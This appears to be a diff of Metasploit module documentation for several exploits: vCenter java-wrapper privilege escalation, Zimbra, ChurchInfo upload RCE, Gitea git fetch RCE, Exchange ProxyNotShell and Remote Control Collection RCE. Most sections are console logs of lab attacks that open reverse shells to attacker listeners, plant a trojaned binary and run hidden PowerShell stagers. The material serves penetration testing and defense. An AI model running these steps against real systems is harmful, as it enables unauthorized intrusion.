||||
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: vsphere-client
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.ragedomain
|
||||
OS : Linux 4.4.8 #1-photon SMP Fri Oct 21 20:13:51 UTC 2016
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > shell
|
||||
Process 6710 created.
|
||||
Channel 1 created.
|
||||
vpxd -v
|
||||
/usr/sbin/vpxd: line 34: ulimit: open files: cannot modify limit: Operation not permitted
|
||||
sed: couldn't open temporary file /etc/vmware-vpx/sedXf9kV4: Permission denied
|
||||
VMware VirtualCenter 6.5.0 build-7070488
|
||||
^Z
|
||||
Background channel 1? [y/N] y
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Conduct the priv esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > jobs -K
|
||||
Stopping all jobs...
|
||||
|
||||
[*] Server stopped.
|
||||
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * incompatible session architecture: python
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /usr/lib/vmware-vmon/java-wrapper-vmon is writable and owned by cis group
|
||||
[+] Original /usr/lib/vmware-vmon/java-wrapper-vmon backed up to /root/.msf4/loot/20221120104723_default_1.1.1.1_javawrappervmo_605726.txt
|
||||
[*] Writing payload to /tmp/.BCOL6n
|
||||
[*] Writing '/tmp/.BCOL6n' (250 bytes) ...
|
||||
[*] Writing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon
|
||||
[*] Attempting to restart vmware-vmon service
|
||||
[-] vmware-vmon service needs to be restarted, or host rebooted to obtain shell.
|
||||
[*] Waiting 1800 seconds for shell
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 1.1.1.1
|
||||
[+] Deleted /tmp/.BCOL6n
|
||||
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:32906) at 2022-11-20 10:47:52 -0500
|
||||
[*] Replacing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon with original
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
+10
-2
@@ -1,10 +1,18 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
|
||||
The following versions of Zimbra are vulnerable:
|
||||
|
||||
* Zimbra Collaboration Suite 9.0.0 Patch 26 and earlier
|
||||
* Zimbra Collaboration Suite 8.8.15 Patch 33 and earlier
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
|
||||
Install Zimbra on any supported Linux version and get a session as the `zimbra`
|
||||
user. The easiest way to exploit zimbra is to `rm $(which pax)`, reboot, and
|
||||
use CVE-2022-41352. Or generate a Meterpreter payload with `msfvenom` and run
|
||||
it.
|
||||
|
||||
From there:
|
||||
|
||||
```
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
|
||||
@@ -0,0 +1,164 @@
|
||||
## Vulnerable Application
|
||||
* Project Homepage: http://www.churchdb.org/
|
||||
* Project Download: https://sourceforge.net/projects/churchinfo/files/
|
||||
|
||||
ChurchInfo is an open source PHP application used to help churches manage systems and users of the church.
|
||||
There are various vulnerabilities in the ChurchInfo software which can be exploited by an
|
||||
attacker, however this module targets an authenticated remote code execution (RCE) vulnerability
|
||||
known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).
|
||||
|
||||
ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database
|
||||
with attachments. When preparing the email, a draft of the attachment is saved into
|
||||
`/tmp_attach/`, which is a web accessible folder under the ChurchInfo web root. Before the email is sent,
|
||||
the attachment draft can be loaded in the application. By uploading a malicious PHP file
|
||||
as an attachment and then browsing to it on the web server, RCE can be achieved.
|
||||
|
||||
This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time
|
||||
of writing and there is presently no known patch for this issue.
|
||||
|
||||
### Installation
|
||||
Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.
|
||||
|
||||
The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker,
|
||||
which should make it a lot easier to setup and also clean up once you are finished testing things out.
|
||||
|
||||
1. `wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz`
|
||||
1. `tar -xvf churchinfo-1.3.0.tar.gz`
|
||||
1. `sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7`.
|
||||
1. `sudo docker ps -a` and find the container ID that was created and which is now running.
|
||||
1. `sudo docker exec -it *container ID* /bin/bash`
|
||||
1. Inside the new prompt:
|
||||
1. `mysqladmin -u root -p create churchinfo` and press the ENTER key when prompted for the password.
|
||||
1. `cd /app/churchinfo/SQL`
|
||||
1. `mysql -u root -p churchinfo < Install.sql` and press the ENTER key when prompted for the password.
|
||||
1. `apt-get install nano` if you want to use Nano.
|
||||
1. `nano /app/churchinfo/Include/Config.php`.
|
||||
1. Set the `$sUSER` variable to `'root'`.
|
||||
1. Set the `$sPASSWORD` variable to `''`.
|
||||
1. Set the `$sRootPath` variable to `'/churchinfo'`. This should be default though.
|
||||
1. Set the `$URL[0]` to `http://localhost/churchinfo/Default.php`.
|
||||
1. Exit out of `nano` and run `/etc/init.d/apache2 restart`
|
||||
1. Log in at `http://127.0.0.1:9090/churchinfo/Default.php` with the username `Admin` and password `churchinfoadmin`.
|
||||
1. This should cause the app to redirect to a password change form.
|
||||
1. Specify the old password, aka `churchinfoadmin` and then specify the new password twice and submit the form.
|
||||
1. Go to `http://127.0.0.1:9090/churchinfo/PersonEditor.php` and fill out the form with as much detail as possible.
|
||||
1. Click "Save and Add".
|
||||
|
||||
## Verification Steps
|
||||
This module requires authenticated access to the application. After identifying a vulnerable
|
||||
ChurchInfo application, there MUST be a person entry available within the database. If there are no person
|
||||
entries within the database, it will not be possible to create a draft email. This draft email
|
||||
will be used to place the malicious attachment into the `/tmp_attach` directory for our exploit.
|
||||
|
||||
1. Start `msfconsole`
|
||||
1. `use exploit/multi/http/churchinfo_upload_exec`
|
||||
1. Set the target `RHOST`, `APPBASE`, `USERNAME`, and `PASSWORD` values.
|
||||
1. Optional: Set the target `RPORT` if the ChurchInfo server is running on a different port than port 80.
|
||||
1. Optional: `set SSL true` if the target is using SSL for ChurchInfo.
|
||||
1. Select the payload of choice or leave default.
|
||||
1. Set the `LHOST` to your system.
|
||||
1. Run the exploit with `run`, enjoy the shell!
|
||||
|
||||
## Options
|
||||
There are a handful of options which can be used to further configure the attack or other environmental uses.
|
||||
|
||||
### USERNAME
|
||||
The username of a valid user account for the ChurchInfo application. Default is `admin`.
|
||||
|
||||
### PASSWORD
|
||||
The password for a valid user account for the ChurchInfo application. Default is `churchinfoadmin` based on documentation.
|
||||
|
||||
### APPBASE
|
||||
The base directory path to the ChurchInfo application. This can and will likely
|
||||
vary depending on how the application was installed. Default value is `/churchinfo/`.
|
||||
|
||||
### EMAIL_SUBJ
|
||||
The subject of the draft email used for the exploit, the email is not sent. Default value is `Read this now!`.
|
||||
|
||||
### EMAIL_MESG
|
||||
The message on the draft email which is used for the exploit. The email is not sent. Default value is `Hello there!`.
|
||||
|
||||
## Scenarios
|
||||
If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:
|
||||
|
||||
```
|
||||
set verbose true
|
||||
```
|
||||
|
||||
This will enable additional information and details about the exploit as it is launched.
|
||||
|
||||
### ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)
|
||||
```
|
||||
msf6 > use exploit/multi/http/churchinfo_upload_exec
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
|
||||
RPORT => 9090
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
|
||||
PASSWORD => testing123
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > show options
|
||||
|
||||
Module options (exploit/multi/http/churchinfo_upload_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EMAIL_MESG Hello there! yes Email message in webapp
|
||||
EMAIL_SUBJ Read this now! yes Email subject in webapp
|
||||
PASSWORD testing123 yes Password to login with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 9090 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /churchinfo/ yes The location of the ChurchInfo app
|
||||
USERNAME admin yes Username for ChurchInfo application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.30.182.196 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
|
||||
LHOST => docker0
|
||||
msf6 exploit(multi/http/churchinfo_upload_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Target is ChurchInfo!
|
||||
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
|
||||
[+] Logged into application as admin
|
||||
[*] Navigating to add items to cart
|
||||
[+] Items in Cart: Items in Cart: 2
|
||||
[+] Uploading exploit via temp email attachment
|
||||
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
|
||||
[+] Executing payload with GET request
|
||||
[*] Sending stage (39927 bytes) to 172.18.0.2
|
||||
[+] Deleted ueNYs9.php
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600
|
||||
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 452
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 8eeaa82293b4
|
||||
OS : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,229 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Gitea](https://gitea.io/) is a painless self-hosted Git service community
|
||||
managed lightweight code hosting solution written in Go.
|
||||
|
||||
This module has been tested successfully on Gitea versions:
|
||||
* 1.16.6 with Git 2.30.3 (Docker)
|
||||
* 1.16.6 with Git 2.30.2 (Windows 10)
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system.
|
||||
This vulnerability affect Gitea before 1.16.7 version.
|
||||
|
||||
The migration process require valid Git repository address so the module will
|
||||
use the Gitea target itself by creating a temporary repository. This scenario
|
||||
won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini)
|
||||
because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when
|
||||
[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289)
|
||||
is set, but it must be set to all domain with `*` for this scenario to work.
|
||||
|
||||
There is an update in the Git-remote command line starting from version 2.34.0
|
||||
which refuses to update the branch pull request URL to the current path.
|
||||
|
||||
```
|
||||
\testrepo.git>git version
|
||||
git version 2.34.0.windows.1
|
||||
\testrepo.git>git remote add -f master ./
|
||||
Updating master
|
||||
fatal: bad object refs/pull/0/head
|
||||
error: ./ did not send all necessary objects
|
||||
|
||||
error: Could not fetch master
|
||||
```
|
||||
This causes the exploit to fail because Git-fetch will not executed if the
|
||||
Git-remote fail. Details of these limitation are explained
|
||||
[here](https://tttang.com/archive/1607/)
|
||||
|
||||
### Source and Installers
|
||||
|
||||
* [Source Code Repository](https://github.com/go-gitea/gitea/)
|
||||
* [Installers](https://dl.gitea.io/gitea/1.16.6)
|
||||
* [Docker](https://docs.gitea.io/en-us/install-with-docker/)
|
||||
|
||||
### Docker installation
|
||||
1. create `docker-compose.yml` file
|
||||
```
|
||||
version: "3"
|
||||
|
||||
networks:
|
||||
gitea:
|
||||
external: false
|
||||
|
||||
services:
|
||||
server:
|
||||
image: gitea/gitea:1.16.6
|
||||
container_name: gitea
|
||||
environment:
|
||||
- USER_UID=1000
|
||||
- USER_GID=1000
|
||||
restart: always
|
||||
networks:
|
||||
- gitea
|
||||
volumes:
|
||||
- ./gitea:/data
|
||||
- /etc/timezone:/etc/timezone:ro
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
ports:
|
||||
- "3000:3000"
|
||||
- "222:22"
|
||||
```
|
||||
2. run `docker-compose up`
|
||||
3. append `ALLOW_LOCALNETWORKS` in the configuration file.
|
||||
```
|
||||
:~$ cat << EOF >> gitea/gitea/conf/app.ini
|
||||
> [migrations]
|
||||
> ALLOW_LOCALNETWORKS = true
|
||||
> EOF
|
||||
```
|
||||
4. Navigate to the localhost port 3000 and finish the installation. Note that
|
||||
the first registered user will automatically become administrator so make
|
||||
sure to set the administrator username and password upon installation.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Navigate to `/user/sign_up` and register normal user
|
||||
2. Do: `use unix/webapp/gitea_git_fetch_rce`
|
||||
3. Do: `set RHOSTS [ips]`
|
||||
4. Do: `set LHOST [lhost]`
|
||||
5. Do: `set USERNAME [username]`
|
||||
6. Do: `set PASSWORD [password]`
|
||||
7. Do: `run`
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
The Gitea valid username to authenticate
|
||||
|
||||
### USERNAME
|
||||
The Gitea valid password to authenticate
|
||||
|
||||
### HTTPDELAY
|
||||
Number of seconds the web server will wait to deliver payload (default: 12)
|
||||
|
||||
## Scenarios
|
||||
### Successful exploitation of Gitea 1.16.6 on Docker
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/gitea_git_fetch_rce
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
|
||||
rhosts => 172.17.0.2
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
|
||||
lhost => 172.17.0.1
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf
|
||||
username => msf
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
|
||||
password => qwerty
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 1.16.6
|
||||
[*] Using URL: http://172.17.0.1:8080/
|
||||
[*] Server started.
|
||||
[*] Adding hardcoded uri /api/v1/version
|
||||
[*] Adding hardcoded uri /api/v1/settings/api
|
||||
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl
|
||||
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/pulls
|
||||
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/topics
|
||||
[*] Creating repository "u8W2Lu24p"
|
||||
[+] Repository created
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgAB..."]
|
||||
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAA...
|
||||
[*] Command Stager progress - 100.00% done (833/833 bytes)
|
||||
[*] Migrating repository
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3020772 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:60744) at 2022-10-03 18:40:15 +0700
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: git
|
||||
```
|
||||
|
||||
### Successful exploitation of Gitea 1.16.6 on Windows 10
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/gitea_git_fetch_rce
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21
|
||||
rhosts => 192.168.0.21
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104
|
||||
lhost => 192.168.0.104
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username yo
|
||||
username => yo
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password password
|
||||
password => password
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.104:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 1.16.6
|
||||
[*] Using URL: http://192.168.0.104:8080/
|
||||
[*] Server started.
|
||||
[*] Adding hardcoded uri /api/v1/version
|
||||
[*] Adding hardcoded uri /api/v1/settings/api
|
||||
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5
|
||||
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/pulls
|
||||
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/topics
|
||||
[*] Creating repository "ExcLF0xBxG"
|
||||
[+] Repository created
|
||||
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([...
|
||||
[*] Migrating repository
|
||||
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
|
||||
[*] Migrating repository
|
||||
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
|
||||
[*] Server stopped.
|
||||
|
||||
PS C:\Users\msf\Downloads\data\gitea-repositories\yo\gu5em72atm5.git> whoami
|
||||
msf
|
||||
```
|
||||
|
||||
### Failed exploitation due to migration settings
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/gitea_git_fetch_rce
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
|
||||
rhosts => 172.17.0.2
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
|
||||
lhost => 172.17.0.1
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf
|
||||
username => msf
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
|
||||
password => qwerty
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 1.16.6
|
||||
[*] Using URL: http://172.17.0.1:8080/
|
||||
[*] Server started.
|
||||
[*] Adding hardcoded uri /api/v1/version
|
||||
[*] Adding hardcoded uri /api/v1/settings/api
|
||||
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w
|
||||
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/pulls
|
||||
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/topics
|
||||
[*] Creating repository "P7EpcvA"
|
||||
[+] Repository created
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAA..."]
|
||||
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAAB...
|
||||
[*] Command Stager progress - 100.00% done (833/833 bytes)
|
||||
[*] Migrating repository
|
||||
[*] Server stopped.
|
||||
[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo:
|
||||
You can not import from disallowed hosts, please ask the admin to check
|
||||
ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings.
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
@@ -0,0 +1,66 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
|
||||
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
|
||||
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.
|
||||
|
||||
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
|
||||
|
||||
This vulnerability affects:
|
||||
|
||||
* Exchange 2013 CU23 < 15.0.1497.44
|
||||
* Exchange 2016 CU22 < 15.1.2375.37
|
||||
* Exchange 2016 CU23 < 15.1.2507.16
|
||||
* Exchange 2019 CU11 < 15.2.986.36
|
||||
* Exchange 2019 CU12 < 15.2.1118.20
|
||||
|
||||
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set USERNAME [USERNAME]`
|
||||
5. Do: `set PASSWORD [PASSWORD]`
|
||||
6. Do: `run`
|
||||
|
||||
## Advanced Options
|
||||
### EemsBypass
|
||||
|
||||
Technique to bypass the EEMS rule.
|
||||
|
||||
**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS
|
||||
M1 rule is applied.
|
||||
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
|
||||
[ProxyNotRelay][2] for more information.
|
||||
|
||||
### MaxBackendRetries
|
||||
|
||||
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
|
||||
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
|
||||
```
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
|
||||
RHOSTS => 192.168.159.11
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Sending stage (175686 bytes) to 192.168.159.11
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
|
||||
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
|
||||
@@ -10,9 +10,9 @@ This vulnerability affects:
|
||||
|
||||
* Exchange 2013 CU23 < 15.0.1497.15
|
||||
* Exchange 2016 CU19 < 15.1.2176.12
|
||||
* Exchange 2016 CU20 < 15.1.2242.5
|
||||
* Exchange 2016 CU20 < 15.1.2242.8
|
||||
* Exchange 2019 CU8 < 15.2.792.13
|
||||
* Exchange 2019 CU9 < 15.2.858.9
|
||||
* Exchange 2019 CU9 < 15.2.858.10
|
||||
|
||||
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
|
||||
|
||||
@@ -87,6 +87,11 @@ The path where you want to write the backdoor. Default: `aspnet_client`
|
||||
|
||||
This is MAPI client version sent in the request.
|
||||
|
||||
### MaxBackendRetries
|
||||
|
||||
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
|
||||
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange 2016 CU 19 on Server 2016
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module utilizes the Remote Control Server's, part
|
||||
of the Remote Control Collection by Steppschuh, protocol
|
||||
to deploy a payload and run it from the server. This module will only deploy
|
||||
a payload if the server is set without a password (default).
|
||||
Tested against 3.1.1.12, current at the time of module writing
|
||||
|
||||
Version 3.1.1.12 can be downloaded from http://remote-control-collection.com/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/misc/remote_control_collection_rce`
|
||||
4. Set `rhost` and `lhost` as required.
|
||||
5. Do: `run`
|
||||
6. You should get a shell as the user who is running Remote Mouse.
|
||||
|
||||
## Options
|
||||
|
||||
### PATH
|
||||
|
||||
The location to write the payload to
|
||||
Defaults to `%temp%\\` aka `c:\\Windows\\Temp\\` on most systems.
|
||||
|
||||
### SLEEP
|
||||
|
||||
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
|
||||
Defaults to `1`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Remote Control Server 3.1.1.12 on Windows 10
|
||||
|
||||
```
|
||||
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
resource (remote_mouse.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (remote_mouse.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (remote_mouse.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/misc/remote_mouse_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 1.1.1.1:1978 - The target appears to be vulnerable. Received handshake with version: 411
|
||||
[*] 1.1.1.1:1978 - Connecting
|
||||
[*] 1.1.1.1:1978 - Sending Windows key
|
||||
[*] 1.1.1.1:1978 - Opening command prompt
|
||||
[*] 1.1.1.1:1978 - Sending stager
|
||||
[*] 1.1.1.1:1978 - Using URL: http://2.2.2.2:8080/
|
||||
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
|
||||
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
|
||||
[*] 1.1.1.1:1978 - Executing payload
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 1.1.1.1
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49962) at 2022-09-27 16:33:02 -0400
|
||||
[*] 1.1.1.1:1978 - Server stopped.
|
||||
[!] 1.1.1.1:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.16299.125]
|
||||
-----
|
||||
|
||||
|
||||
C:\Users\windows>whoami
|
||||
whoami
|
||||
win10prolicense\windows
|
||||
|
||||
C:\Users\windows>systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: WIN10PROLICENSE
|
||||
OS Name: Microsoft Windows 10 Pro
|
||||
OS Version: 10.0.16299 N/A Build 16299
|
||||
```
|
||||
|
||||
### Remote Control Server 3.1.1.12 on Windows 10, with a password
|
||||
|
||||
Expected to fail.
|
||||
|
||||
```
|
||||
resource (remote_control_collection.rb)> use exploits/windows/misc/remote_control_collection_rce
|
||||
